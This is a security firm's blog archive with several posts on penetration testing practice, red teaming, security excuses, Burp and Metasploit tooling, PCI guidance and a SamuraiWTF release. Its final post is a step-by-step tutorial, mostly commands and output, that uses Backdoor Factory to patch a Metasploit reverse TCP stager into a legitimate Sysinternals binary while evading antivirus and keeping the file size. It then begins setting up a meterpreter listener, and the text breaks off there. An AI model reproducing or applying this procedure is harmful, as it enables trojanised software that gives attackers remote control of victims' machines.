We’re Just Like the NSA, and Nothing Like Them

February 11th, 2016

During penetration tests, and especially scoping calls, we often get quizzed about what secret, proprietary techniques we’ll use to gain access to privileged resources. Most folks assume they’re doing “good enough” or at least meeting “industry best practices” so only the latest, unknown attacks will be successful. The notorious ZeroDay always seems to take the top spot in many organizations’ threat matrix. Fortunately, that’s not realistic.

Last month Rob Joyce spoke at the Usenix Enigma conference in San Francisco. Rob is the head of the NSA’s Tailored Access Operations (TAO) hacking team. These guys are the American version of Mandiant’s APT1 in China. It’s their job to gain access to the systems of foreign nations. During his talk, Rob discussed how they go about their work, and lessons that businesses should learn from their experiences.

In several ways, their attack process is very similar to those of a good penetration test. Rob talked about the detailed reconnaissance phase in which they seek to know the network “better than the people running it.” Seeking out available information about the people, processes, & technologies in a network should be part of any good pen test. Part of that recon includes scanning the network, mapping out systems & services, looking for openings that may be exploitable.

“A lot of people think the nation states are running on this engine of zero days… There are so many more vectors that are easier, less risky, and more productive than going down that route.” Later he shared that “You know the technologies you intended to use in that network. We know the technologies that are actually in use in that network.” Similarly, in most of our pen tests, the issues that allow us to gain access are rarely a new fancy attack as opposed to chaining together common flaws that are often unknown to the organization. Rob shared that one required key to good security, and to defending against any attacker, is to know and understand your network and systems extremely well. He suggested common best practices such as regular scanning, penetration tests, and table top red teaming to discuss and familiarize yourself with every aspect of your network.

However there are a few critical differences between a TAO engagement and a standard penetration test that are important to realize. And understanding these differences is key to scoping out & receiving a good penetration test.  An attack by a nation state is an active, live-fire event; not an exercise. Conversely, a penetration test is an exercise designed to educate. So even though many of the techniques outlined and used by Rob’s team are similar, their purpose is not.

The first major difference is the scope of the engagement. Every penetration test has limitations on the scope of the assessment, many of which are are very reasonable. For example targeting the personal email accounts or home networks or employees during an education test is both illegal and unethical. Oftentimes though scope limitations are introduced for other reasons. Perhaps the business won’t accept the additional cost, or a compliance-driven test is focused only on checking a box on a form for auditors.  In most cases, the fewer restrictions placed on an assessment, the more successful it will ultimately be at painting a true picture of risk exposure.

A second key difference between an APT attack and a pen test is the amount of resources afforded for the assessment. Rob spoke of having copies of known software and experts in those systems that often know more about the technologies than the administrators themselves. Every firm and pen tester has a range of experiences and a network of colleagues that can be leaned on for support when attacking unfamiliar systems, but no private company can rival the checkbook of the U.S. government.  For this reason, we strongly recommend against black-box testing which is both impractical and ineffective. I mentioned previously that a pen-test is an educational opportunity that should provide as much benefit as possible to the organization. A black-box test inherently limits that transfer of knowledge. Alternatively nearly all of our tests are gray-box tests in which we utilize the existing resources of the organization to some degree in order to better assess security findings and associated risk. If you’re still approaching a pen test as a red-vs-blue contest, you’re doing it wrong.

The final issue is closely related. Rob discussing his team’s persistence (APT remember?)  “We’ll poke and we’ll poke and we’ll wait and we’ll wait and we’ll wait…,”  he shared. Eventually a hole will be introduced, maybe just for a short time during a maintenance window or while a vendor is fixing an issue. With nearly unlimited resources they can continue to scan and test and push until something changes. Most pen tests though rarely last more than a few weeks. However a good test can take these issues into account. A good tester can help you consider different variables and potential events and how those may effect deployed security controls. It may not be realistic to wait for an event to occur, but often a simulated situation can be used to explore potential risk. Again this falls back on the importance of an open gray-box test.

Ultimately, it’s important to understand the difference between advanced attackers and a penetration test. There are similarities, but also key differences.  If your testers aren’t able to have that conversation, give us a call.

Rob had a lot more great advice for businesses on how to secure their network. His 35 minute talk is definitely worth a listen. https://www.youtube.com/watch?v=bDJb8WOJYdA

Nathan Sweaney is a Senior Security Consultant with Secure Ideas. If you are in need of a penetration test or other security consulting services you can contact him at nathan@secureideas.com, on Twitter @eternalsecurity, or visit the Secure Ideas – ProfessionallyEvil site for services provided.

 

Red Teaming – Not What You May Have Thought

January 27th, 2016

Lately, I’ve been doing a lot of reading on some less technical topics and I ran across “Red Team: How to Succeed By Thinking Like the Enemy” by Micah Zenko.  If you are like me, you’ve probably thought of the red team as being a penetration test group or some kind of adversary simulation.  You know, red teams are the pretend bad guys and blue teams are the good guys defending against them.  Reading Micah’s book altered my view of what red teaming is.  I learned about a world of non-technical red teaming and how that can be applied to our organizations.

Credit: www.redteamjournal.com

Credit: www.redteamjournal.com

At its core, red teaming is the idea that we are going to look at things critically and with an eye towards an alternative point of view.  Conventional thought may lead you to believe that if you do X, then Y will be the result(s).  Because everyone believes this to be true, organizations make plans based on it and really don’t challenge it much.  A generic example may be “if we buy advertising, we will make more sales.”  Red teaming this would question that point of view and may come up with alternative results based on following questions through the process.  Questions like this may be asked:

  • What if buying advertising doesn’t result in enough sales to justify the expense?
  • What if buying ads in this particular format or delivery mechanism turns potential customers off?
  • What if the desired revenue level is never reached?  What impact will that have on our future plans?

In the world of cybersecurity and penetration testing, this could look something similar to the following:

IT says…

  • This server (or service) isn’t really important so we don’t need to worry about patching it yet.
  • We’ve got a SIEM and it will let us know if anything important is happening.
  • Our firewall rules are effective at preventing an attacker from moving through the network.

The red team asks…

  • What if that unimportant server has an important account logging into it?  What access could that give us?
  • What if that unimportant server has different network restrictions in place and being on this system would give us access to more important systems that I can’t get to right now?
  • When would the SIEM alert you and would it be in enough time?  Would anyone even read the alerts and how would they respond?

The list of What Ifs can go on and on.  In penetration testing, we would then start testing these scenarios to see what would happen.  We want to determine what the impact to the organization could be if an attacker ran a string of these What Ifs together and would they be able to get access to the victim’s secret sauce.  And we want to verify that controls are effective and perform as we expect.

I believe that there is value in taking in some of the perspectives and techniques that red teaming employs.  We don’t have to do a full penetration test or red team exercise (though these are useful) to start getting some benefit from this discipline.  Simply sitting down with a few other people and questioning the assumptions or understandings that are being used in projects can be very helpful.  The possible results at the end of these scenarios may not actually occur, but a number of the questions and answers that will be encountered during the process can spot risks that we may not have ever noticed.  We can then take steps to minimize the impact of these risks or the likelihood of them ever occurring.  We can be better prepared to respond if the unlikely suddenly becomes reality because we have at least thought through it before hand and kicked around how we could respond.

I’d recommend reading or listening to Micah’s book.  I enjoyed listening to it quite a bit and I learned a lot.  I’d also recommend looking at other resources for red teaming.  I ran into the Red Team Journal as a result of Micah’s book and found some of the things there to be very thought provoking.

Jason Wood is a Principal Security Consultant with Secure Ideas. If you are in need of a penetration test or other security consulting services you can contact him at jason@secureideas.com, on Twitter @Jason_Wood, or visit the Secure Ideas – ProfessionallyEvil site for services provided.

 

Five Outdated Security Excuses

January 12th, 2016

The Security Industry as a whole has been known to criticize businesses large and small with respect to how they manage security.   Why does it so often seem like an after-thought?  How is it that today we still frequently find that security teams are understaffed (or not at all), that business decisions involving sensitive information are made without consideration for security, and established well-known best practices (like using strong passwords) are ignored.Hand showing 5 fingers

This myth-busting post will cover five excuses (in no particular order) for poor security that should no longer be valid:

Excuse #1: SSL is Slow

SSL was very slow and CPU intensive… over a decade ago.  It is true that there was a time when SSL handshakes were required much more frequently and the speed of the average Internet connection was much slower than it is today.  Remember when “SSL-accelerator” was a buzz word?  The performance hit from switching over to encrypted communication for virtually all connections is well worth the benefit.  Even high-volume sites that don’t necessarily host confidential information (e.g. Google’s search engine) have switched over to HTTPS for everything.

SSL should not be shunned due to performance concerns.  If your website is slow, the poor performance is most likely due to factors outside of SSL.  There are several studies available online that already prove this so I won’t go through it here.  I have had recent conversations with some folks where they make the point “but using SSL made you vulnerable to Heartbleed!”.  True, but still not a good excuse.  Once Heartbleed was announced  we had patches available in short order.  Fear of vulnerabilities in OpenSSL is not a good reason to communicate over unencrypted channels. And by the way, if by SSL you don’t really mean TLS, then it is time to update your vocabulary and probably patch a few things.

Excuse #2: Patching Might Break Stuff

True, but just because patching might break stuff doesn’t mean we should stop patching.  These days many vendors release patches on a frequent schedule and have thorough regression tests to minimize new issues from upgrading.  With all the vulnerabilities publicized over the past couple of years you would think that patching would be assumed, but unfortunately this is not the case.  And the most common line of excuses we hear from our clients is “we don’t want to risk breaking the release”.

Let’s take a step back and think about this.  If your service breaks, and you announce “service is temporarily offline because a security patch broke it”… as a consumer I will be annoyed, but much less annoyed with the outage than if you announce “your account has been compromised because we decided not to deploy a security patch”.  So when a vendor patch is announced, someone should read it, assess the risk to your services (i.e. Does it address an issue with a feature you use? What would be the impact?), and based on the level of risk decide when to schedule the patch.  But deciding not to patch anything for fear of breaking stuff is a lame excuse.

Excuse #3: We Don’t Have Funding for Security

This one of the most common excuses we in the industry hear when we perform security reviews of companies. Many smaller companies don’t even dedicate a single full-time resource to security.  It’s the one IT person who manages everything with a circuit board in it who is also responsible for security.  And many larger companies might run scans but don’t follow through and remediate issues.

In this age just about every company must dedicate some funding towards security.  If you are handling credit card or healthcare or personal data of any type you are probably required either by law or contract to test and remediate security.  This is not optional.  I heard a story over the holidays where a friend of a friend  is a small business owner and ended up with ransomware on his laptop.  This laptop contained all of his business data.  Fortunately it was recovered but this was a case of no patching, no backups, etc… There are rudimentary security precautions every business owner should invest time and a little bit of money into.  If your business is large enough that you have a network (even a small one), you should be investing in security scans and remediating issues.

Excuse #4: We Aren’t a Target

Perhaps you feel that your business is too small, or doesn’t deal with information that might be interesting to an attacker.  Perhaps you actually are not subject to PCI or HIPAA and feel that the risk of being attacked is virtually non-existent.

Not true.  If you have an Internet address then you are a target.  Plain and simple.  I have recently set up a number of honeypots for the purpose of analyzing attacks and found that every time I made them available to the Internet they were attacked within a few hours.

Yes, some companies are big obvious targets (e.g. financial, healthcare, government, etc…).  But there are organizations of criminals out there who will attack anything they can find, without any idea of what’s behind the IP address.

Excuse #5: Users Can’t Handle Complex Passwords

Many companies tend to have relatively simple password policies.  For example, it is quite common to find an 8-character limit for passwords, or to only allow certain special characters.  Sometimes the excuse for this is that it is based on some system limitation (e.g. mainframe).  This should be very rare, as there are few modern systems (even mainframes) that still limit passwords to only 8 characters.  But the other excuse we often hear is along the lines of “management doesn’t want to have to deal with passwords that are harder to remember”.

A full discussion on password complexity is a topic for another day, but for now lets just say that complexity is a factor of:

  • predictability (is it a common password found on a wordlist?)
  • character set (just alpha-numerics or can more printable characters be used?)
  • length

And perhaps surprisingly, length is usually much more of a factor than the character set.  Therefore, a 25 character fragment of lyrics to a favorite song will usually take much longer (i.e. centuries) to brute-force than “fo0B@r1!” (i.e. minutes).  My guess is that favorite lyrics (or a poem, or movie lines, or book) fragments would be at least as easy to remember as eight mangled l33t-spe4k characters for most of us.  So yes, users probably can handle complex passwords.  They just don’t really understand what makes a password complex.

Jason Gillam is a Principal Security Consultant with Secure Ideas. If you are in need of a penetration test or other security consulting services you can contact him at jgillam@secureideas.com, on Twitter @JGillam, or visit the Secure Ideas – ProfessionallyEvil site for services provided.

 

Introduction to Metasploit Video

August 17th, 2015

The Metasploit Framework is a key resource for security assessors. Whether you’re goal is to become a commercial penetration tester, to demonstrate the risk of a vulnerability, or just need to identify certain weaknesses in your environment, Metasploit is your tool. Understanding how it works, and how to get started is the first step.

The Metasploit project was started in 2003 by HD Moore as an open source framework for developing and executing exploits. It’s modular designed allows developers to focus on the code unique to their objective without having to recreate components like transport methods or payloads.   It has since grown to include thousands of modules for exploitation, post-exploitation attacks, scanning, encoding, and others.

In addition to exploiting known vulnerabilities, Metasploit has the functionality to do port scans, identify systems with default passwords, using credentials or hashes to run commands on remote systems, and much more. You can even setup listeners for capturing user credentials via common protocols like HTTP and SMB to be used in multi-part attacks. And if the functionality you need doesn’t exist, it’s very easy to write your own new modules.

Before you get to all that though, you have to understand how Metasploit works and get it up and running.  We put together a one-hour webinar to help you get started. Whether you’ve never used Metasploit, or just need a refresher course, this video will walk you through the basic steps of understanding how things work, getting it installed, and exploiting your first vulnerability.

Check it out here:

When you’re ready for the next step, we also have a 2-hour recorded training class designed to help you become more proficient in Metasploit. It offers tips and tricks that we use on engagements. You can purchase that course for $25 here: Recorded Classes




Nathan Sweaney is a Senior Security Consultant with Secure Ideas. If you are in need of a penetration test or other security consulting services you can contact him at nathan@secureideas.com or visit the Secure Ideas – Professionally Evil site for services provided.

 

Introducing Burp Correlator!

August 14th, 2015
This one is for you web penetration testers!  This new Burp extension is designed to help with efficiency when you are testing a complex application full of parameters or a series of applications and just do not have enough time to thoroughly analyze each one.  It analyzes all the parameters in your in-scope traffic and presents them in a table.  But that’s just the start!  In addition to generating some basic statistics, it will intelligently attempt to determine the format of each parameter based on the values seen in the traffic.  Correlator will automatically and recursively base64 and URL decode, check for known hash lengths (e.g. MD5, SHA1, etc…), make note of familiar formats (e.g. 123-45-6789), decode BigIP cookies, and more!  It will also check to see if the value shows up in the response (i.e. was it reflected), and even whether the URL decoded version was.
It is a lot easier to explain how this works with a demonstration, so I made a video:



I’m very hopeful that this extension will make large-scale manual web penetration testing more palatable and significantly more efficient.  But I need help! Please check it out and give me all your feedback so I can make it even better.

Look for the Correlator (beta) download link on http://burpco2.com.



Jason Gillam is a Senior Security Consultant with Secure Ideas. If you are in need of a penetration test or other security consulting services you can contact him at jgillam@secureideas.com, on Twitter @JGillam, or visit the Secure Ideas – ProfessionallyEvil site for services provided.

 

Practical Pentest Advice from PCI

August 4th, 2015

The PCI Security Standards Council released a Penetration Testing Guidance information supplement in March 2015.  This document, while geared towards the Payment Card Industry, provides a lot of valuable advice to the providers of penetration tests and their clients, regardless of industry.  At 40 pages in length the document might seem a bit heavy, so this blog post is meant to summarize the main areas of the document and highlight those sections that will likely be the most interesting or useful to penetration testers.

The meat of the document includes the following main topics: Penetration Testing Components, Tester Qualifications, Methodologies, and Reporting.  In addition to these there is a sort of introductory section which does a side-by-side comparison of Vulnerability Scans to Penetration Tests.  I’ve read several similar comparisons in the past but the Penetration Testing Guidance document offers a nicely organized comparison table that many organizations may find helpful.

Scope is something that is covered ad nauseam throughout the document but not without just cause. In a PCI-based penetration test it is critical to understand exactly what encompasses the Cardholder Data Environment (CDE).  Although this particular document focusses on scope and segmentation as it relates to the CDE, the same rules can be adjusted to most other penetration testing scenarios. This is why it is critical to understand what is important to your client and how they are protecting it.  If it isn’t PCI data then perhaps it is Protected Health Information (PHI), or a production application cluster, or secret formulas (i.e. consider a pharmaceutical company).  It is up to the penetration tester to properly understand not just the scope in terms of an IP address range but also what information or functionality is considered the “crown jewels” and what sort of boundary, such as network segmentation, exists around it.

Another area of interest in this document is the section on Social Engineering.  According to the document, Social Engineering testing isn’t strictly required by PCI DSS.  However it does enter a sort of gray area because it is recognized as a viable (and quite common) attack vector… which means it should actually be in scope.  My take on it is that the Penetration Testing Guidance document strongly encourages Social Engineering testing even though it isn’t strictly required.  It also seems to strongly advise that any company not including Social Engineering testing should document why it is not being included in the penetration test.

The section on Penetration Tester Qualifications is a little thin but there really isn’t much to say here especially since PCI DSS doesn’t require any specific certifications.  The document does provide the common sense advice that the quality of the test will be significantly influenced by the level of experience of the tester and testing organization, and that having some certification indicates a common body of knowledge.

The Penetration Testing Methodologies section is perhaps the most useful section to any penetration testing company.  It covers pre-engagement, engagement, and post-engagement activities.  Included are lists of documentation the client should provide before the test begins, topics to be covered under the Rules of Engagement, and a description of Success Criteria.  In addition this section covers a lot of detail on how past threats should be disclosed to the penetration testing team for consideration.  This includes everything from previous vulnerability scan results, to last year’s penetration test, to actual threats from the wild.  This information seems to be required under PCI but any company with the goal of reducing risk should provide this information to their penetration tester.  I found the Penetration Testing Methodologies section very worthwhile.  If you don’t read anything else in the document, do read this section.


The final section of the document (not including the use cases in the back) covers reporting guidelines.  Included is quite a bit of advice on how to lay out a report, how to cover retesting, and what to do about evidence retention.  I found it a little odd that one section of the report that is not mentioned at all is a conclusion, since most penetration testing reports I have seen do seem to include one.  Aside from the report advice, the most interesting part of this section is the Report Evaluation Checklist.  This guide has provided a checklist for entities hiring penetration testers, to ensure that the report they are receiving includes everything it should.  This checklist is a good takeaway in that it has the potential of becoming a de facto report quality standard.

So that’s it.  Although I don’t personally agree 100% with every detail, overall I’m impressed with what is covered and find the level of detail just right.  I believe this is generally solid guidance for not just PCI-based penetration tests but guidance that can be adapted to virtually any kind of penetration test. The full document is available here:

https://www.pcisecuritystandards.org/documents/Penetration_Testing_Guidance_March_2015.pdf


Jason Gillam is a Senior Security Consultant with Secure Ideas. If you are in need of a penetration test or other security consulting services you can contact him at jgillam@secureideas.com, on Twitter @JGillam, or visit the Secure Ideas – ProfessionallyEvil site for services provided.

 

Tip: Running BurpSuite on a Mac

May 21st, 2015

Here’s a quick tip I use to save some time when spinning up Burp Suite on a Mac.  I use Burp Suite frequently enough that having an icon on my task bar is warranted. I also like to start Burp Suite with more memory allocated to the JVM than the default.  To accomplish all of this, we will simply create an Automator workflow that runs Burp in a shell script.

I’m going to break this down step-by-step for those who are not familiar with Automator.  Before I get started though I will mention that I originally “borrowed” this tip from James (Jardine) when I saw him using it… and then made my own improvements.

To start, open the Automator app, which is a standard application that should already be installed, and create a new automator ‘Application’ (that second icon on the ‘type of document’) prompt:

Next add the ‘Run Shell Script’ action, which can be found in the ‘Utilities’ library of actions:
Now you just need to replace the default text ‘cat’ with the right shell script.  I typically run BurpSuite with 4GB of RAM, which means I will run Java with the following options:
java -Xmx4g -jar <jar filename>

What about that filename?  Well that’s easy.  If you have been installing Burp in the default location under /Applications, then it will simply be something like:

/Applications/burpsuite_pro_v1.6.18.jar

…where that version number is whatever the latest version is that you have installed.  All you have to do is modify your automator script whenever you install a new version of Burp.  But wait a minute… with all the power of Linux running on a modern processor there must be some way to have your Automator script find the most recent burp jar file for you, right?  Of course there is!  We will replace the filename with an instruction to list all burpsuite_pro files ordered by modified time and return just the first one.  Now our final command looks like this:

java -Xmx4g -jar “$(ls -t /Applications/burpsuite* | head -n1)”

Save it and test it.  If all is working properly Burp should start up.  There are a couple of quirks I will mention so that you know these are expected.  First, because the automator script is calling Burp (which has its own window), you will see both the automator script icon and the Java icon as active apps on the task bar.  Second, while the automator script is running you will see a small spinning gear on the bar at the top of the screen.  Both of these are normal behavior.

The last step to polishing this solution off will be to change the icon of your new Automator app to one that is more meaningful.  This entails finding an appropriate icon, opening the ‘info’ tab for your app, and pasting it in.  I am not going to walk through those details here since others have already covered the task in detail (e.g. osxdaily shows us here).


Jason Gillam is a Senior Security Consultant with Secure Ideas. If you are in need of a penetration test or other security consulting services you can contact him at jgillam@secureideas.com, on Twitter @JGillam, or visit the Secure Ideas – ProfessionallyEvil site for services provided.

 

SamuraiWTF 3.2 RELEASED!

May 19th, 2015

We are really excited to announce that SamuraiWTF 3.2 is now available publicly.  This release is available at http://sourceforge.net/projects/samurai/ immediately and we hope you enjoy it.

In this release we have updated a number of tools, addressed bug issues, and improved the target environments to better suit a training environment. We have also updated the Zed Attack Proxy(ZAProxy) to version 2.4.0. This particular version introduces new feature sets such as advanced fuzzing, attack mode,and advanced scanning options that increases the ease of use for common feature sets. To get a more complete list of ZAProxy’s updated and newly released features, please view the documentation. In addition,we have added the SQuirreL Database Client for further exploration and training with this project.

If you are just getting into Web App Penetration Testing, keep a look out for our upcoming classes. The next one is in Austin, TX(details and registration here)! This class will walk you through the SamuraiWTF environment, tools and testing methodology. This is a unique opportunity to sit down and learn from some of the best around; and we have a rockin’ scavenger-hunt style CTF to test your new skills and get invaluable hands on training!

In future releases, we planning to expand our list of vulnerable apps to provide a more robust training environment. As always, we look forward to working with the entire community so
if there is something that you would like to see added to Samurai WTF, feel free to reach out and let us know.
Marc Holloway is a Security Consultant with Secure Ideas. If you are in need of a penetration test or other security consulting services you can contact him at marc@secureideas.com, on Twitter @hackwhosnacks, or visit the Secure Ideas – ProfessionallyEvil site for services provided.
 

Patching binaries with Backdoor Factory

May 18th, 2015

When was the last time you downloaded a binary file from the Internet or grabbed one off of a network share that is used by your organization to store commonly used software? Did you verify the hash of that binary with the hash supplied by the official software distributors? If not then you could very easily be in a world of hurt. Today we are going to be talking about a piece of software by Joshua Pitts (@midnite_runr) called “Backdoor Factory” (BDF for short) that patches malicious payloads into binaries in a way that makes it trivial to bypass Anti-Virus, retains full binary functionality, and does not increase the file size by a single byte.

How is BDF different from other tools such as MSFVenom? Tools like MSFVenom have the ability to patch a malicious code into legitimate binaries by appending the malicious code to the end. The problem with this is that it not only increases file size of the backdoored binary but it is also easier for Antivirus engines to pick up on this. BDF makes it much easier for attackers to hide malware in binaries by utilizing code caves.

Code caves are products of code compilers. There are certain times where a code compiler will have to pad certain areas of the binary and it does so by padding with a whole series of 0x00 bytes. Those are known as code caves and BDF overwrites those code caves with malicious code. Because you are utilizing null space already present in a binary, you will not see a change in file size when using BDF.

So, lets take a look at BDF. You can install BDF inside of Kali Linux with the following command

apt-get install backdoor-factory

or cloning the latest version from github with the following command

get clone https://github.com/secretsquirrel/the-backdoor-factory.git

For the remainder of this blog post, I will be using the latest version (3.0.3 from Github) located at /opt/the-backdoor-factory.

Once we have BDF, you can look at all the command line options by using “-h”. You will see tons of command line options. The main ones we are going to be concerned about today are the following flags.

-f FILE, --file=FILE  File to backdoor
-s SHELL, --shell=SHELL  Payloads that are available for use. 
-H HOST, --hostip=HOST  IP of the C2 for reverse connections.
-P PORT, --port=PORT  The port to either connect back to for reverse shell or to listen on for bind shells
-J, --cave_jumping    Select this options if you want to use code cave jumping to further hide your shellcode in the binary. -m PATCH_METHOD, --patch-method=PATCH_METHOD   Patching methods for PE files, 'manual' and 'automatic'

Lets go ahead and test this out by backdooring a well known program such as Process Explorer from the SysInternals suite. I have downloaded a copy of it and run some hash algorithms on it so we can verify that it has in fact changed.

root@kali:~# ls -alh procexp.exe 
-rw-r--r-- 1 root root 2.4M Mar  9 14:48 procexp.exe
root@kali:~# md5sum procexp.exe 
d1bfe40fbca45df028029e2b5f2a62e4  procexp.exe

First thing we want to do with BDF is see what kind of things it can patch into procexp.exe natively. We do this by using the –f flag and the –s flag.

root@kali:~# /opt/the-backdoor-factory/backdoor.py -f procexp.exe -s show
    ____  ____  ______           __      
   / __ )/ __ / ____/___ ______/ /_____  _______  __
  / __  / / / / /_  / __ `/ ___/ __/ __ / ___/ / / /
 / /_/ / /_/ / __/ / /_/ / /__/ /_/ /_/ / /  / /_/ /
/_____/_____/_/    __,_/___/__/____/_/   __, /
                                            /____/

         Author:    Joshua Pitts
         Email:     the.midnite.runr[-at ]gmailcom
         Twitter:   @midnite_runr
         IRC:       freenode.net #BDFactory
         
         Version:   3.0.3
         
[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
The following WinIntelPE32s are available: (use -s)
   cave_miner_inline
   iat_reverse_tcp_inline
   iat_reverse_tcp_inline_threaded
   iat_reverse_tcp_stager_threaded
   iat_user_supplied_shellcode_threaded
   meterpreter_reverse_https_threaded
   reverse_shell_tcp_inline
   reverse_tcp_stager_threaded
   user_supplied_shellcode_threaded

Perfect, we have 9 different shell codes that we can use. Lets go ahead and use “iat_reverse_tcp_stager_threaded” using the -s flag. This shell code will utilize the Import Address Table of the binary to patch in Metasploit reverse TCP stager; it will also be threaded. This payload also utilizes two additional flags, the -H for IP and -P for the port that the tcp stager will connect back to.

root@kali:~# /opt/the-backdoor-factory/backdoor.py -f procexp.exe -s iat_reverse_tcp_stager_threaded -H 192.168.1.118 -P 4444
__________                __       .___                   
______   _____    ____ |  | __ __| _/____   ___________ 
 |    |  _/__   _/ ___|  |/ // __ |/  _  /  _ _  __  
 |    |    / __   ___|    __|_ ____ |____/ ____/|__|   
        /      /     /     /    /                    
___________              __                               
_   _____/____    _____/  |_  ___________ ___.__.        
 |    __) __   _/ ___   __/  _ _  __ <   |  |        
 |        / __   ___|  | (   )  | /___  |        
 ___  /  (____  /___  >__|  ____/|__|   / ____|        
     /        /     /                   /             

         Author:    Joshua Pitts
         Email:     the.midnite.runr[-at ]gmailcom
         Twitter:   @midnite_runr
         IRC:       freenode.net #BDFactory
         
         Version:   3.0.3
         
[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Loading PE in pefile
[*] Parsing data directories
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Looking for caves that will fit the minimum shellcode length of 453
[*] All caves lengths:  453
############################################################
The following caves can be used to inject code and possibly
continue execution.
**Don't like what you see? Use jump, single, append, or ignore.**
############################################################
[*] Cave 1 length as int: 453
[*] Available caves: 
1. Section Name: .data; Section Begin: 0xd3c00 End: 0xdce00; Cave begin: 0xd7d2b End: 0xd7fcc; Cave Size: 673
2. Section Name: .data; Section Begin: 0xd3c00 End: 0xdce00; Cave begin: 0xda269 End: 0xda444; Cave Size: 475
3. Section Name: .data; Section Begin: 0xd3c00 End: 0xdce00; Cave begin: 0xda497 End: 0xda688; Cave Size: 497
4. Section Name: .data; Section Begin: 0xd3c00 End: 0xdce00; Cave begin: 0xda6ef End: 0xda8cc; Cave Size: 477
5. Section Name: .data; Section Begin: 0xd3c00 End: 0xdce00; Cave begin: 0xdadc1 End: 0xdaf98; Cave Size: 471
6. Section Name: .data; Section Begin: 0xd3c00 End: 0xdce00; Cave begin: 0xdb32d End: 0xdb55c; Cave Size: 559
7. Section Name: None; Section Begin: None End: None; Cave begin: 0xdcc0b End: 0xdce04; Cave Size: 505
8. Section Name: .rsrc; Section Begin: 0xdce00 End: 0x257200; Cave begin: 0x1ecde5 End: 0x1ed168; Cave Size: 899
9. Section Name: .rsrc; Section Begin: 0xdce00 End: 0x257200; Cave begin: 0x1efc5d End: 0x1efe38; Cave Size: 475
10. Section Name: .rsrc; Section Begin: 0xdce00 End: 0x257200; Cave begin: 0x1efe8f End: 0x1f0080; Cave Size: 497
11. Section Name: .rsrc; Section Begin: 0xdce00 End: 0x257200; Cave begin: 0x1f00eb End: 0x1f02c8; Cave Size: 477
12. Section Name: .rsrc; Section Begin: 0xdce00 End: 0x257200; Cave begin: 0x1f07c9 End: 0x1f09a0; Cave Size: 471
13. Section Name: .rsrc; Section Begin: 0xdce00 End: 0x257200; Cave begin: 0x1f0d6d End: 0x1f10a8; Cave Size: 827
14. Section Name: .rsrc; Section Begin: 0xdce00 End: 0x257200; Cave begin: 0x20165f End: 0x20183c; Cave Size: 477
15. Section Name: .rsrc; Section Begin: 0xdce00 End: 0x257200; Cave begin: 0x20205a End: 0x20224a; Cave Size: 496
16. Section Name: .rsrc; Section Begin: 0xdce00 End: 0x257200; Cave begin: 0x20265c End: 0x20283c; Cave Size: 480
17. Section Name: .rsrc; Section Begin: 0xdce00 End: 0x257200; Cave begin: 0x2060d7 End: 0x2062ab; Cave Size: 468
18. Section Name: .rsrc; Section Begin: 0xdce00 End: 0x257200; Cave begin: 0x20b1c4 End: 0x20b45c; Cave Size: 664
19. Section Name: .rsrc; Section Begin: 0xdce00 End: 0x257200; Cave begin: 0x20d5e3 End: 0x20d85c; Cave Size: 633
20. Section Name: .rsrc; Section Begin: 0xdce00 End: 0x257200; Cave begin: 0x20dfa3 End: 0x20e180; Cave Size: 477
21. Section Name: .rsrc; Section Begin: 0xdce00 End: 0x257200; Cave begin: 0x20e47b End: 0x20e7cc; Cave Size: 849
22. Section Name: .rsrc; Section Begin: 0xdce00 End: 0x257200; Cave begin: 0x20e923 End: 0x20ef53; Cave Size: 1584
23. Section Name: .rsrc; Section Begin: 0xdce00 End: 0x257200; Cave begin: 0x2105bc End: 0x210d34; Cave Size: 1912
24. Section Name: .rsrc; Section Begin: 0xdce00 End: 0x257200; Cave begin: 0x210ecb End: 0x2110ef; Cave Size: 548
25. Section Name: .rsrc; Section Begin: 0xdce00 End: 0x257200; Cave begin: 0x211be4 End: 0x211edc; Cave Size: 760
26. Section Name: .rsrc; Section Begin: 0xdce00 End: 0x257200; Cave begin: 0x2126ac End: 0x212884; Cave Size: 472
27. Section Name: .rsrc; Section Begin: 0xdce00 End: 0x257200; Cave begin: 0x230c3b End: 0x230e0f; Cave Size: 468
28. Section Name: .rsrc; Section Begin: 0xdce00 End: 0x257200; Cave begin: 0x235d28 End: 0x235fc0; Cave Size: 664
29. Section Name: .rsrc; Section Begin: 0xdce00 End: 0x257200; Cave begin: 0x238147 End: 0x2383c0; Cave Size: 633
30. Section Name: .rsrc; Section Begin: 0xdce00 End: 0x257200; Cave begin: 0x238b07 End: 0x238ce4; Cave Size: 477
31. Section Name: .rsrc; Section Begin: 0xdce00 End: 0x257200; Cave begin: 0x238fdf End: 0x239330; Cave Size: 849
32. Section Name: .rsrc; Section Begin: 0xdce00 End: 0x257200; Cave begin: 0x239487 End: 0x239ab7; Cave Size: 1584
33. Section Name: .rsrc; Section Begin: 0xdce00 End: 0x257200; Cave begin: 0x23b120 End: 0x23b898; Cave Size: 1912
34. Section Name: .rsrc; Section Begin: 0xdce00 End: 0x257200; Cave begin: 0x23ba2f End: 0x23bc53; Cave Size: 548
35. Section Name: .rsrc; Section Begin: 0xdce00 End: 0x257200; Cave begin: 0x23c748 End: 0x23ca40; Cave Size: 760
36. Section Name: .rsrc; Section Begin: 0xdce00 End: 0x257200; Cave begin: 0x23d210 End: 0x23d3e8; Cave Size: 472
**************************************************
[!] Enter your selection: 5
[!] Using selection: 5
[*] Changing flags for section: .data
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Looking for and setting selected shellcode
[*] Overwriting certificate table pointer
File procexp.exe is in the 'backdoored' directory
root@kali:~#
root@kali:~# ls -l procexp.exe 
-rw-r--r-- 1 root root 2508440 Mar  9 14:48 procexp.exe
root@kali:~# ls -l backdoored/procexp.exe 
-rw-r--r-- 1 root root 2508440 May 13 23:58 backdoored/procexp.exe
root@kali:~# md5sum procexp.exe 
d1bfe40fbca45df028029e2b5f2a62e4  procexp.exe
root@kali:~# md5sum backdoored/procexp.exe 
70450b2d66fe76f55ff4d1b37e2817a5  backdoored/procexp.exe

As you can see from the above output, we were able to select what code cave we wanted to store the shellcode in (#5), patch the shellcode into the procexp.exe binary using the selected code cave, and verified that the size has not increased and the hashes have changed.
At this point we are going to want to fire up msfconsole and start up the multihandler listener.

msf > use exploit/multi/handler 
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.118
